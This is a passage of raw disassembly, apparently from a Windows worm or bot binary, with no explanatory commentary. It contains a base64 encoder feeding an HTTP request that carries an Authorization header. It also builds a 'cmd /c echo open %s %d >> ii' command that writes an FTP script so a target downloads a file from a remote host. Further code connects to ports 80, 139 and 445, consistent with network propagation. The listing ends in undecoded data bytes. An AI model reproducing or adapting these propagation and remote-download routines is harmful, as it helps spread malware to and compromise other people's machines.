; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2

loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]

loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1

loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx

loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax

loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131

loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi

loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]

loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176

loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx

loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_436EDC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------

loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax

loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]

loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------

loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1

loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx

loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_436F0C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------

loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi

loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43AD98
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43ADD8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------

loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------

loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA

loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch

loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al

loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43AE30
		test	esi, esi
		jnz	short loc_404427

loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		call	near ptr 2610F41h
		nop

loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E

loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi

loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8

loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A

loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A

loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863

loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]

loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290

loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290

loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290

loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A

loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667

loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------

loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------

loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------

loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660

loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------

loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660

loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F

loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1

loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------

loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx

loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863

loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax

loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]

loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax

loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------

loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax

loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------

loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi

loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx

loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3

loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_4CDCAC, 1
		jnz	short loc_40483C
		or	byte_4CDCAC, 1

loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_436EF8, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------

loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh

loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------

loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx

loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al

loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db 0D4h	; Ô
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; Œ
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; †
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  9Ch	; œ
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db  93h	; “
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0DCh	; Ü
